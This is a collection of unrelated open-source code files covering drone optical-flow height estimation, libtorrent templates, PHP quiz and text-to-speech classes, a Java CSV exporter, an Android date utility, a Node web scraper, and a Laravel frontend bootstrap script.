constrain_float(flow_angles.y, -angle_max/2, angle_max/2); bf_angles += flow_angles; } bf_angles.x = constrain_float(bf_angles.x, -angle_max, angle_max); bf_angles.y = constrain_float(bf_angles.y, -angle_max, angle_max); #if AC_AVOID_ENABLED == ENABLED // apply avoidance copter.avoid.adjust_roll_pitch(bf_angles.x, bf_angles.y, copter.aparm.angle_max); #endif // call attitude controller copter.attitude_control->input_euler_angle_roll_pitch_euler_rate_yaw(bf_angles.x, bf_angles.y, target_yaw_rate); // call z-axis position controller pos_control->update_z_controller(); } /* update height estimate using integrated accelerometer ratio with optical flow */ void Copter::ModeFlowHold::update_height_estimate(void) { float ins_height = copter.inertial_nav.get_altitude() * 0.01; #if 1 // assume on ground when disarmed, or if we have only just started spooling the motors up if (!hal.util->get_soft_armed() || copter.motors->get_desired_spool_state() != AP_Motors::DesiredSpoolState::THROTTLE_UNLIMITED || AP_HAL::millis() - copter.arm_time_ms < 1500) { height_offset = -ins_height; last_ins_height = ins_height; return; } #endif // get delta velocity in body frame Vector3f delta_vel; if (!copter.ins.get_delta_velocity(delta_vel)) { return; } // integrate delta velocity in earth frame const Matrix3f &rotMat = copter.ahrs.get_rotation_body_to_ned(); delta_vel = rotMat * delta_vel; delta_velocity_ne.x += delta_vel.x; delta_velocity_ne.y += delta_vel.y; if (!copter.optflow.healthy()) { // can't update height model with no flow sensor last_flow_ms = AP_HAL::millis(); delta_velocity_ne.zero(); return; } if (last_flow_ms == 0) { // just starting up last_flow_ms = copter.optflow.last_update(); delta_velocity_ne.zero(); height_offset = 0; return; } if (copter.optflow.last_update() == last_flow_ms) { // no new flow data return; } // convert delta velocity back to body frame to match the flow sensor Vector2f delta_vel_bf = copter.ahrs.rotate_earth_to_body2D(delta_velocity_ne); // and convert to an rate equivalent, to be comparable to flow Vector2f delta_vel_rate(-delta_vel_bf.y, delta_vel_bf.x); // get body flow rate in radians per second Vector2f flow_rate_rps = copter.optflow.flowRate() - copter.optflow.bodyRate(); uint32_t dt_ms = copter.optflow.last_update() - last_flow_ms; if (dt_ms > 500) { // too long between updates, ignore last_flow_ms = copter.optflow.last_update(); delta_velocity_ne.zero(); last_flow_rate_rps = flow_rate_rps; last_ins_height = ins_height; height_offset = 0; return; } /* basic equation is: height_m = delta_velocity_mps / delta_flowrate_rps; */ // get delta_flowrate_rps Vector2f delta_flowrate = flow_rate_rps - last_flow_rate_rps; last_flow_rate_rps = flow_rate_rps; last_flow_ms = copter.optflow.last_update(); /* update height estimate */ const float min_velocity_change = 0.04; const float min_flow_change = 0.04; const float height_delta_max = 0.25; /* for each axis update the height estimate */ float delta_height = 0; uint8_t total_weight = 0; float height_estimate = ins_height + height_offset; for (uint8_t i=0; i<2; i++) { // only use height estimates when we have significant delta-velocity and significant delta-flow float abs_flow = fabsf(delta_flowrate[i]); if (abs_flow < min_flow_change || fabsf(delta_vel_rate[i]) < min_velocity_change) { continue; } // get instantaneous height estimate float height = delta_vel_rate[i] / delta_flowrate[i]; if (height <= 0) { // discard negative heights continue; } delta_height += (height - height_estimate) * abs_flow; total_weight += abs_flow; } if (total_weight > 0) { delta_height /= total_weight; } if (delta_height < 0) { // bias towards lower heights, as we'd rather have too low // gain than have oscillation. This also compensates a bit for // the discard of negative heights above delta_height *= 2; } // don't update height by more than height_delta_max, this is a simple way of rejecting noise float new_offset = height_offset + constrain_float(delta_height, -height_delta_max, height_delta_max); // apply a simple filter height_offset = 0.8 * height_offset + 0.2 * new_offset; if (ins_height + height_offset < height_min) { // height estimate is never allowed below the minimum height_offset = height_min - ins_height; } // new height estimate for logging height_estimate = ins_height + height_offset; AP::logger().Write("FHXY", "TimeUS,DFx,DFy,DVx,DVy,Hest,DH,Hofs,InsH,LastInsH,DTms", "QfffffffffI", AP_HAL::micros64(), (double)delta_flowrate.x, (double)delta_flowrate.y, (double)delta_vel_rate.x, (double)delta_vel_rate.y, (double)height_estimate, (double)delta_height, (double)height_offset, (double)ins_height, (double)last_ins_height, dt_ms); gcs().send_named_float("HEST", height_estimate); delta_velocity_ne.zero(); last_ins_height = ins_height; } #endif // OPTFLOW == ENABLED
gpl-3.0
tojames/PopcornTV
app/libs/LibTorrent/jni/include/libtorrent/max.hpp
3254
/* Copyright (c) 2009, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_MAX_TYPE #define TORRENT_MAX_TYPE namespace libtorrent { template<int v1, int v2> struct max { enum { value = v1>v2?v1:v2 }; }; template<int v1, int v2, int v3> struct max3 { enum { temp = max<v1,v2>::value, value = max<temp, v3>::value }; }; template<int v1, int v2, int v3, int v4> struct max4 { enum { temp1 = max<v1,v2>::value, temp2 = max<v3,v4>::value, value = max<temp1, temp2>::value }; }; template<int v1, int v2, int v3, int v4, int v5> struct max5 { enum { temp = max4<v1,v2, v3, v4>::value, value = max<temp, v5>::value }; }; template<int v1, int v2, int v3, int v4, int v5, int v6> struct max6 { enum { temp1 = max<v1,v2>::value, temp2 = max<v3,v4>::value, temp3 = max<v5,v6>::value, value = max3<temp1, temp2, temp3>::value }; }; template<int v1, int v2, int v3, int v4, int v5, int v6, int v7> struct max7 { enum { temp1 = max<v1,v2>::value, temp2 = max<v3,v4>::value, temp3 = max3<v5,v6,v7>::value, value = max3<temp1, temp2, temp3>::value }; }; template<int v1, int v2, int v3, int v4, int v5, int v6, int v7, int v8> struct max8 { enum { temp1 = max<v1,v2>::value, temp2 = max3<v3,v4,v5>::value, temp3 = max3<v6,v7,v8>::value, value = max3<temp1, temp2, temp3>::value }; }; template<int v1, int v2, int v3, int v4, int v5, int v6, int v7, int v8, int v9> struct max9 { enum { temp1 = max3<v1,v2, v3>::value, temp2 = max3<v4,v5,v6>::value, temp3 = max3<v7,v8,v9>::value, value = max3<temp1, temp2, temp3>::value }; }; } #endif
gpl-3.0
meinemitternacht/cdcmastery
src/CDCMastery/Models/CdcData/QuestionAnswersCollection.php
2224
<?php declare(strict_types=1); /** * Created by PhpStorm. * User: tehbi * Date: 6/24/2017 * Time: 6:49 PM */ namespace CDCMastery\Models\CdcData; use RuntimeException; class QuestionAnswersCollection { private QuestionCollection $questions; private AnswerCollection $answers; public function __construct( QuestionCollection $questions, AnswerCollection $answers ) { $this->questions = $questions; $this->answers = $answers; } /** * @param Afsc $afsc * @param Question[]|null $questions * @return array */ public function fetch(Afsc $afsc, ?array $questions = null): array { $afsc_uuid = $afsc->getUuid(); if (!$afsc_uuid) { return []; } if (!$questions) { $questions = $this->questions->fetchAfsc($afsc); } $answers = $this->answers->fetchByQuestions($afsc, $questions); $answers_by_quuid = []; $answers_by_quuid_correct = []; foreach ($answers as $answer) { $quuid = $answer->getQuestionUuid(); if (!isset($answers_by_quuid[ $quuid ])) { $answers_by_quuid[ $quuid ] = []; } $answers_by_quuid[ $quuid ][] = $answer; if ($answer->isCorrect()) { $answers_by_quuid_correct[ $quuid ] = $answer; } } $qas = []; foreach ($questions as $quuid => $question) { if (!$question instanceof Question) { continue; } if (!isset($answers_by_quuid[ $quuid ])) { throw new RuntimeException("question has no answers :: quuid {$quuid} :: afsc {$afsc_uuid}"); } $correct = $answers_by_quuid_correct[ $quuid ] ?? null; if (!$correct) { throw new RuntimeException("question has no correct answer :: quuid {$quuid} :: afsc {$afsc_uuid}"); } $qa = new QuestionAnswers(); $qa->setQuestion($question); $qa->setAnswers($answers_by_quuid[ $quuid ]); $qa->setCorrect($correct); $qas[] = $qa; } return $qas; } }
gpl-3.0
geowe/sig-seguimiento-vehiculos
src/main/java/org/geowe/client/local/main/tool/search/ExportCSVLayerTool.java
3760
/* * #%L * GeoWE Project * %% * Copyright (C) 2015 - 2016 GeoWE.org * %% * This file is part of GeoWE.org. * * GeoWE is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GeoWE is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GeoWE. If not, see <http://www.gnu.org/licenses/>. * #L% */ package org.geowe.client.local.main.tool.search; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import javax.enterprise.context.ApplicationScoped; import javax.inject.Inject; import org.geowe.client.local.ImageProvider; import org.geowe.client.local.layermanager.LayerManagerWidget; import org.geowe.client.local.layermanager.tool.LayerTool; import org.geowe.client.local.layermanager.tool.create.CSV; import org.geowe.client.local.layermanager.tool.export.exporter.FileExporter; import org.geowe.client.local.main.map.GeoMap; import org.geowe.client.local.main.tool.info.FeatureTool; import org.geowe.client.local.messages.UIMessages; import org.geowe.client.local.model.vector.VectorLayer; import org.geowe.client.local.ui.MessageDialogBuilder; import org.geowe.client.local.ui.ProgressBarDialog; import org.geowe.client.shared.rest.sgf.model.jso.VehicleJSO; import org.gwtopenmaps.openlayers.client.feature.VectorFeature; import org.jboss.errai.common.client.api.tasks.ClientTaskManager; import com.google.gwt.resources.client.ImageResource; /** * Herramienta para generar un csv de los elementos. seleccionados. * * @author geowe * */ @ApplicationScoped public class ExportCSVLayerTool extends LayerTool implements FeatureTool { private VectorFeature selectedFeature; private List<VectorFeature> selectedFeatures; private VectorLayer layer; @Inject private ClientTaskManager taskManager; private ProgressBarDialog autoMessageBox; @Inject public ExportCSVLayerTool(LayerManagerWidget layerManagerWidget, GeoMap geoMap) { super(layerManagerWidget, geoMap); } @Override public String getName() { return UIMessages.INSTANCE.exportCsvButtonText(); } @Override public ImageResource getIcon() { return ImageProvider.INSTANCE.fileText24(); } public VectorFeature getSelectedFeature() { return selectedFeature; } @Override public void setSelectedFeature(VectorFeature selectedFeature) { this.selectedFeature = selectedFeature; this.selectedFeatures = new ArrayList<VectorFeature>(); this.selectedFeatures.add(selectedFeature); setEnabled(selectedFeature != null); } @Override public void setSelectedFeatures(List<VectorFeature> selectedFeatures) { this.selectedFeatures = selectedFeatures; } public void setLayer(VectorLayer layer) { this.layer = layer; } @Override public void setSelectedLayer(VectorLayer layer) { this.layer = layer; } @Override public void onClick() { autoMessageBox = new ProgressBarDialog(false, UIMessages.INSTANCE.processing()); autoMessageBox.show(); taskManager.execute(new Runnable() { @Override public void run() { if (selectedFeatures != null) { FileExporter.saveAs(exportCSV(selectedFeatures), layer.getName() + ".csv"); } autoMessageBox.hide(); } }); } public String exportCSV(List<VectorFeature> selectedFeatures) { return new CSV(layer.getProjection().getProjectionCode()).write(selectedFeatures); } }
gpl-3.0
diegoRodriguezAguila/Lecturas.Elfec.GD
betterPickers/src/main/java/com/codetroopers/betterpickers/recurrencepicker/Utils.java
2653
/* * Copyright (C) 2006 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.codetroopers.betterpickers.recurrencepicker; import android.content.Context; import android.text.format.Time; import java.util.Calendar; public class Utils { private static final String TAG = "CalUtils"; public static final int YEAR_MIN = 1970; public static final int YEAR_MAX = 2036; /** * Get first day of week as android.text.format.Time constant. * * @return the first day of week in android.text.format.Time */ public static int getFirstDayOfWeek(Context context) { int startDay = Calendar.getInstance().getFirstDayOfWeek(); if (startDay == Calendar.SATURDAY) { return Time.SATURDAY; } else if (startDay == Calendar.MONDAY) { return Time.MONDAY; } else { return Time.SUNDAY; } } /** * Get first day of week as java.util.Calendar constant. * * @return the first day of week as a java.util.Calendar constant */ public static int getFirstDayOfWeekAsCalendar(Context context) { return convertDayOfWeekFromTimeToCalendar(getFirstDayOfWeek(context)); } /** * Converts the day of the week from android.text.format.Time to java.util.Calendar */ public static int convertDayOfWeekFromTimeToCalendar(int timeDayOfWeek) { switch (timeDayOfWeek) { case Time.MONDAY: return Calendar.MONDAY; case Time.TUESDAY: return Calendar.TUESDAY; case Time.WEDNESDAY: return Calendar.WEDNESDAY; case Time.THURSDAY: return Calendar.THURSDAY; case Time.FRIDAY: return Calendar.FRIDAY; case Time.SATURDAY: return Calendar.SATURDAY; case Time.SUNDAY: return Calendar.SUNDAY; default: throw new IllegalArgumentException("Argument must be between Time.SUNDAY and " + "Time.SATURDAY"); } } }
gpl-3.0
saurabh947/MoodleLearning
blocks/tts/app/_php/_services/google_tts_config.php
3359
<?php /** * ************************************************************************* * * OOHOO - TTS - Text To Speech ** * ************************************************************************* * @package block ** * @subpackage TTS ** * @name TTS ** * @copyright oohoo.biz ** * @link http://oohoo.biz ** * @author Ryan Thomas (Original Author) ** * @author Dustin Durand ** * @author Nicolas Bretin ** * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later ** * ************************************************************************* * ************************************************************************ */ require_once('service_lib.php'); class GoogleFetch extends Fetch { public function __construct($voice, $path, $url, $text, $errorText) { parent::__construct(); //voice was checked in fetcher. this class is for saving on code, not avoiding coupling. $this->voice = $voice; $this->setText($text); $this->path = $path; $this->url = $url; $this->errorText = $errorText; $this->mp3 = $this->getMP3NameFromText($this->text); //path should be of the form base . service . voice $this->badInit = $this->setPath($this->path); } public function preProcessTextForService($text) { $text = trim($text); $text = html_entity_decode($text); //do check on banned words and attempt a preg_replace on the transcription text //should replace this with a word replacement array and iterate over it. //pronunciation can be improved here. //BUILD A LEXICON/TRAINER $text = Lexicon($text, $this->lexiconVersion); return $text; //return preg_replace("/[^a-zA-Z0-9\s]/" , "" , $text); } public function requestMP3FromService() { //check if text is empty, if it is, request something else instead if (empty($this->text)) { $this->setText($this->errorText); $this->mp3 = $this->getMP3NameFromText($this->text); } // &ie=UTF-8 is required for languages like French if (file_put_contents($this->getMP3Path(), file_get_contents("http://translate.google.com/translate_tts?tl=" . $this->voice . "&ie=UTF-8&q=" . urlencode($this->text))) == true) { return true; } else { if (file_exists($this->getMP3Path())) { if (filesize($this->getMP3Path()) == 0) { unlink($this->getMP3Path()); if (file_put_contents($this->getMP3Path(), file_get_contents("http://translate.google.com/translate_tts?tl=" . $this->voice . "&ie=UTF-8&q=" . urlencode($this->text))) == true) { return true; } } } } } } ?>
gpl-3.0
LucaClaessens/Analogy
scraping-tools/scrape_post_data.js
14005
var request = require('request'); var cheerio = require('cheerio'); pages = [ 'http://networkcultures.org/moneylab/2015/12/14/degenerated-political-art-by-nuria-guell-levi-orta/', 'http://networkcultures.org/moneylab/2015/12/11/raluca-croitoru-immaterial-institute-of-research-and-experimentation/', 'http://networkcultures.org/moneylab/2015/12/11/primavera-de-filippi-blockchain-technology-as-distributed-governance-tool/', 'http://networkcultures.org/moneylab/2015/12/11/stephanie-rothenberg-reversal-of-fortune-visualizing-marketized-philanthropy/', 'http://networkcultures.org/moneylab/2015/12/11/equitybot-by-scott-kildall/', 'http://networkcultures.org/moneylab/2015/12/11/algorithmic-autonomy-freedom-and-the-blockchain/', 'http://networkcultures.org/moneylab/2015/12/11/workshop-negotiating-trust-on-crowdfunding-platforms-by-robert-van-boeschoten/', 'http://networkcultures.org/moneylab/2015/12/11/commoneasy-a-new-p-2-p-insurance-model-is-born/', 'http://networkcultures.org/moneylab/2015/12/11/bringing-the-dark-side-of-money-to-light-paul-radu/', 'http://networkcultures.org/moneylab/2015/12/11/silvio-lorusso-on-meta-failure-and-the-dark-side-of-crowdfunding/', 'http://networkcultures.org/moneylab/2015/12/16/panel-and-audience-discussion-artistic-interventions-in-finance/', 'http://networkcultures.org/moneylab/2015/12/15/femke-herregraven-the-privilege-of-disappearing/', 'http://networkcultures.org/moneylab/2015/12/15/tactics-for-economies-dissent-panel-introduction-by-brett-scott/', 'http://networkcultures.org/moneylab/2015/12/15/venture-communism-baruch-gottlieb-and-dmitry-kleiner/', 'http://networkcultures.org/moneylab/2015/12/15/rachel-odwyer-storing-value/', 'http://networkcultures.org/moneylab/2015/12/15/eduard-de-jong-a-short-history-of-the-blockchain/', 'http://networkcultures.org/moneylab/2015/12/15/panel-discussion-bringing-the-dark-side-of-money-to-light/', 'http://networkcultures.org/moneylab/2015/12/15/bruce-pon-ascribe-an-ownership-layer-for-the-internet/', 'http://networkcultures.org/moneylab/2015/12/14/2378/', 'http://networkcultures.org/moneylab/2015/12/14/dulltech-neoliberal-hardware-lulz/', 'http://networkcultures.org/moneylab/2016/09/09/steven-hill-on-the-necessity-of-regulating-services-like-airbnb-and-uber/', 'http://networkcultures.org/moneylab/2016/09/08/on-demand-economy-more-regulations-and-non-profit-apps-needed-to-build-a-fairer-future/', 'http://networkcultures.org/moneylab/2016/07/12/%c2%adblockchain-bureaucracy/', 'http://networkcultures.org/moneylab/2016/07/12/first-confirmed-speakers-for-moneylab-3-failing-better/', 'http://networkcultures.org/moneylab/2016/07/07/tickets-moneylab-3-failing-better-now-available/', 'http://networkcultures.org/moneylab/2016/06/23/matthew-slater-on-scaling-trust-with-credit-commons-part-2/', 'http://networkcultures.org/moneylab/2016/06/21/matthew-slater-on-scaling-trust-with-credit-commons/', 'http://networkcultures.org/moneylab/2016/06/10/fully-automated-luxury-communism/', 'http://networkcultures.org/moneylab/2016/06/06/highlights-from-ouishare-2016/', 'http://networkcultures.org/moneylab/2016/05/17/we-are-hiring-an-intern-for-moneylab3/', 'http://networkcultures.org/moneylab/2015/10/23/brett-scott-talks-to-paul-buitink/', 'http://networkcultures.org/moneylab/2015/10/07/thoughts-on-a-cashless-society/', 'http://networkcultures.org/moneylab/2015/10/02/report-from-reinvent-money/', 'http://networkcultures.org/moneylab/2015/09/30/crowdfest-report/', 'http://networkcultures.org/moneylab/2015/09/24/creativity-on-the-blockchain/', 'http://networkcultures.org/moneylab/2015/09/21/moneylab2-economies-of-dissent-flyer/', 'http://networkcultures.org/moneylab/2015/09/03/save-the-date-moneylab2-economies-of-dissent/', 'http://networkcultures.org/moneylab/2015/09/03/the-bitcoin-experience-part-two/', 'http://networkcultures.org/moneylab/2015/04/21/the-moneylab-reader-is-now-available/', 'http://networkcultures.org/moneylab/2014/12/16/one-chain-to-rule-them-all/', 'http://networkcultures.org/moneylab/2016/04/29/temporary-marriages-in-a-blockchain-city/', 'http://networkcultures.org/moneylab/2016/04/21/moneylab3-failing-better/', 'http://networkcultures.org/moneylab/2016/04/13/re-designing-democracy/', 'http://networkcultures.org/moneylab/2016/04/04/financial-reporting-on-the-panama-papers-and-speculative-outcomes/', 'http://networkcultures.org/moneylab/2016/03/21/promise-of-the-blockchain/', 'http://networkcultures.org/moneylab/2016/02/01/symposium-report-moneylab2-economies-of-dissent-is-now-ready/', 'http://networkcultures.org/moneylab/2016/01/26/moneylab-internship/', 'http://networkcultures.org/moneylab/2016/01/06/capturing-the-essence-of-moneylab/', 'http://networkcultures.org/moneylab/2015/12/17/eric-duran-economic-disobedience/', 'http://networkcultures.org/moneylab/2015/12/16/panel-and-audience-discussion-tactics-for-economic-dissent/', 'http://networkcultures.org/moneylab/2014/04/04/visualizing-crowdfunding-and-beyond/', 'http://networkcultures.org/moneylab/2014/04/04/call-for-contributions-the-inc-moneylab-reader/', 'http://networkcultures.org/moneylab/2014/04/02/brett-scott-applying-the-hacker-ethic-to-the-financial-system/', 'http://networkcultures.org/moneylab/2014/04/01/jerome-roos-writes-reflections-on-moneylab-in-each-other-we-trust-coining-alternatives-to-capitalism/', 'http://networkcultures.org/moneylab/2014/04/01/franco-berardi-money-language-insolvency/', 'http://networkcultures.org/moneylab/2014/03/31/ron-peperkamp-and-the-art-reserve-bank/', 'http://networkcultures.org/moneylab/2014/03/29/mobile-money/', 'http://networkcultures.org/moneylab/2014/03/29/tiziana-terranova-virtual-money-and-the-currency-of-the-commons/', 'http://networkcultures.org/moneylab/2014/03/28/non-money/', 'http://networkcultures.org/moneylab/2014/03/28/mobile-money-and-the-social-and-technological-infrastructures-of-transaction/', 'http://networkcultures.org/moneylab/2015/12/11/workshop-avenging-money-by-max-haiven/', 'http://networkcultures.org/moneylab/2015/12/10/free-money-movement-the-commons-a-workshop-by-jim-costanzo/', 'http://networkcultures.org/moneylab/2015/12/02/dmytri-kleiner-baruch-gottlieb-join-moneylab2-to-talk-about-venture-communism/', 'http://networkcultures.org/moneylab/2015/11/30/10-bitcoin-myths/', 'http://networkcultures.org/moneylab/2015/11/30/money-2020/', 'http://networkcultures.org/moneylab/2015/11/26/unpacking-platform-cooperativism/', 'http://networkcultures.org/moneylab/2015/11/23/moneylab-program-booklet-is-finalized/', 'http://networkcultures.org/moneylab/2015/11/16/whats-wrong-with-get-played-get-paid-campaign/', 'http://networkcultures.org/moneylab/2015/10/28/geographies-of-imagination/', 'http://networkcultures.org/moneylab/2015/10/23/the-rise-of-social-exchange-systems/', 'http://networkcultures.org/moneylab/2014/10/16/moneylab-at-the-dutch-design-week/', 'http://networkcultures.org/moneylab/2014/09/19/digital-cash-conference-at-ucla-27-28-september-2014/', 'http://networkcultures.org/moneylab/2014/06/10/money-and-art-an-interview-with-max-haiven-in-crit/', 'http://networkcultures.org/moneylab/2014/06/06/crowdfunding-theory-under-construction-report-from-amsterdams-first-academic-research-seminar/', 'http://networkcultures.org/moneylab/2014/05/27/reader-of-tulipomania-dotcom-2000-again-available/', 'http://networkcultures.org/moneylab/2014/05/27/bitcoin-2014-report/', 'http://networkcultures.org/moneylab/2014/05/19/its-all-in-the-code-report-from-the-dutch-national-bitcoin-congres/', 'http://networkcultures.org/moneylab/2014/05/07/european-commission-call-for-experts-on-crowdfunding/', 'http://networkcultures.org/moneylab/2014/04/25/in-art-we-trust-the-art-reserve-bank/', 'http://networkcultures.org/moneylab/2014/04/14/crowdfunding-regulation-developments-and-possible-implications-part-1-europe/', 'http://networkcultures.org/moneylab/2014/01/30/introducing-moneylab-speakers-dette-glashouwer/', 'http://networkcultures.org/moneylab/2014/01/27/moneylab-news-conference-program-tickets-online/', 'http://networkcultures.org/moneylab/2014/03/13/moneylab-conference-bazaar-workshops-film-program/', 'http://networkcultures.org/moneylab/2014/03/13/the-arts-economic-nexus/', 'http://networkcultures.org/moneylab/2014/03/12/stephan-musoke/', 'http://networkcultures.org/moneylab/2014/03/06/investment-crowdfunding-for-film/', 'http://networkcultures.org/moneylab/2014/03/06/moneylab-program-booklet/', 'http://networkcultures.org/moneylab/2014/01/23/introducing-moneylab-speakers-brett-scott-on-open-source-finance/', 'http://networkcultures.org/moneylab/2014/01/23/alternative-currencies-become-more-popular-in-the-netherlands/', 'http://networkcultures.org/moneylab/2014/01/20/crowdfunding-determinants-of-success-and-failure/', 'http://networkcultures.org/moneylab/2014/01/06/upcoming-event-new-industries-conference-by-hmvk-dortmund/', 'http://networkcultures.org/moneylab/2014/01/06/m0n3y-as-an-3rror-online-exhibition/', 'http://networkcultures.org/moneylab/2014/03/28/finance-is-not-about-money/', 'http://networkcultures.org/moneylab/2014/03/28/mobile-money-and-social-or-anti-social-security/', 'http://networkcultures.org/moneylab/2014/03/28/1240/', 'http://networkcultures.org/moneylab/2014/03/27/peer-do-a-laboratory-for-co-funded-action/', 'http://networkcultures.org/moneylab/2014/03/27/peer-to-peer-or-mine-to-mine-a-critique-of-crowdfunding/', 'http://networkcultures.org/moneylab/2014/03/27/overcoming-the-legitimacy-crisis-of-money-with-bitcoin/', 'http://networkcultures.org/moneylab/2014/03/27/bitcoin-leveraging-cryptography-against-the-control-society/', 'http://networkcultures.org/moneylab/2014/03/27/the-dark-arts-of-reimagining-money/', 'http://networkcultures.org/moneylab/2014/03/27/always-sunny-in-the-rich-mans-world/', 'http://networkcultures.org/moneylab/2014/03/27/eli-gothill-from-the-muslim-trade-routes-to-twitters-punkmoney/', 'http://networkcultures.org/moneylab/2014/01/30/moneylab-at-transmediale-festival-berlin/', 'http://networkcultures.org/moneylab/2014/02/03/bitcoin-explained-daniel-forrester-mark-solomon-a-review/', 'http://networkcultures.org/moneylab/2014/02/06/the-social-coin-that-tracks-and-measures-good-actions/', 'http://networkcultures.org/moneylab/2014/02/18/sign-up-for-a-crowdfunding-workshop/', 'http://networkcultures.org/moneylab/2014/02/19/848/', 'http://networkcultures.org/moneylab/2014/02/21/have-you-used-crowdfunding-we-need-your-input/', 'http://networkcultures.org/moneylab/2014/02/27/873/', 'http://networkcultures.org/moneylab/2014/03/03/critical-finance-in-amsterdam-august-13-15-2014/', 'http://networkcultures.org/moneylab/2014/03/04/moneylab-party/', 'http://networkcultures.org/moneylab/2014/03/05/international-womens-day-on-indiegogo/', 'http://networkcultures.org/moneylab/2014/03/27/cryptocurrencies-designing-alternatives/', 'http://networkcultures.org/moneylab/2014/03/27/brian-holmes-consequences-of-quantitative-easing/', 'http://networkcultures.org/moneylab/2014/03/26/hashtag-moneylab/', 'http://networkcultures.org/moneylab/2014/03/26/they-say-money-doesnt-grow-on-trees-dadara-proves-us-otherwise/', 'http://networkcultures.org/moneylab/2014/03/25/1050/', 'http://networkcultures.org/moneylab/2014/03/24/peter-surda-some-misconceptions-about-bitcoin-and-why-it-is-best-left-ungoverned/', 'http://networkcultures.org/moneylab/2014/03/23/fresh-projects-in-the-alternatives-bazaar/', 'http://networkcultures.org/moneylab/2014/03/23/edward-de-jong-towards-an-open-e-currency-system/', 'http://networkcultures.org/moneylab/2014/03/23/bill-maurer/', 'http://networkcultures.org/moneylab/2014/03/18/ending-the-moneylab-event-in-hacking-style/', 'http://networkcultures.org/moneylab/2013/12/19/media-narratives-on-bitcoin-common-arguments-against-the-crypto-currency/', 'http://networkcultures.org/moneylab/2013/12/13/media-narratives-on-bitcoin-7-common-arguments-in-favor-of-the-crypto-currency/', 'http://networkcultures.org/moneylab/2013/12/02/hidden-transaction-systems-of-free-culture-and-free-culture-entrepreneurs/', 'http://networkcultures.org/moneylab/2013/11/29/moneylab-blog-is-live/', 'http://networkcultures.org/moneylab/2013/11/29/more-than-currency-the-importance-of-bitcoin-as-a-technology-and-financial-model/', 'http://networkcultures.org/moneylab/2013/11/28/documentary-making-in-uk-between-broadcasters-funding-and-online-revenue-models/', 'http://networkcultures.org/moneylab/2013/11/26/new-york-times-three-years-of-kickstarter-a-start-in-researching-crowdfunding-dynamics/', 'http://networkcultures.org/moneylab/2013/10/30/out-now-disrupting-business-art-and-activism-in-times-of-financial-crisis/', 'http://networkcultures.org/moneylab/2013/10/11/the-institute-of-network-cultures-presents-moneylab-coining-alternatives/', 'http://networkcultures.org/moneylab/2014/01/30/crowdfunding-redistributing-wealth-or-monetizing-social-relations/' ]; for (page in pages) { var url = pages[page]; request(url, (function(www) { return function(err, resp, body) { $ = cheerio.load(body); $('.entry-content').each(function(q) { var lines = $(this).children('p').text().split('.'); for (var i = lines.length - 1; i >= 0; i--) { if (lines[i].length > 10 && lines[i] != "Design and development by Roberto Picerno & Silvio Lorusso.") { console.log(lines[i] + '.'); } } }); } })(page)); }
gpl-3.0
evn88/phonebook
resources/js/bootstrap.js
3239
window._ = require('lodash'); /** * We'll load jQuery and the Bootstrap jQuery plugin which provides support * for JavaScript based Bootstrap features such as modals and tabs. This * code may be modified to fit the specific needs of your application. */ try { window.Popper = require('popper.js').default; window.$ = window.jQuery = require('jquery'); window.Tablesorter = require('tablesorter'); $.tablesorter.themes.bootstrap = { // these classes are added to the table. To see other table classes available, // look here: http://getbootstrap.com/css/#tables table : 'table table-bordered table-striped', caption : 'caption', // header class names header : 'bootstrap-header', // give the header a gradient background (theme.bootstrap_2.css) sortNone : '', sortAsc : '', sortDesc : '', active : '', // applied when column is sorted hover : '', // custom css required - a defined bootstrap style may not override other classes // icon class names icons : '', // add "bootstrap-icon-white" to make them white; this icon class is added to the <i> in the header iconSortNone : 'bootstrap-icon-unsorted', // class name added to icon when column is not sorted iconSortAsc : 'glyphicon glyphicon-chevron-up', // class name added to icon when column has ascending sort iconSortDesc : 'glyphicon glyphicon-chevron-down', // class name added to icon when column has descending sort filterRow : '', // filter row class; use widgetOptions.filter_cssFilter for the input/select element footerRow : '', footerCells : '', even : '', // even row zebra striping odd : '' // odd row zebra striping }; require('bootstrap'); } catch (e) {} /** * We'll load the axios HTTP library which allows us to easily issue requests * to our Laravel back-end. This library automatically handles sending the * CSRF token as a header based on the value of the "XSRF" token cookie. */ window.axios = require('axios'); window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest'; /** * Next we will register the CSRF Token as a common header with Axios so that * all outgoing HTTP requests automatically have it attached. This is just * a simple convenience so we don't have to attach every 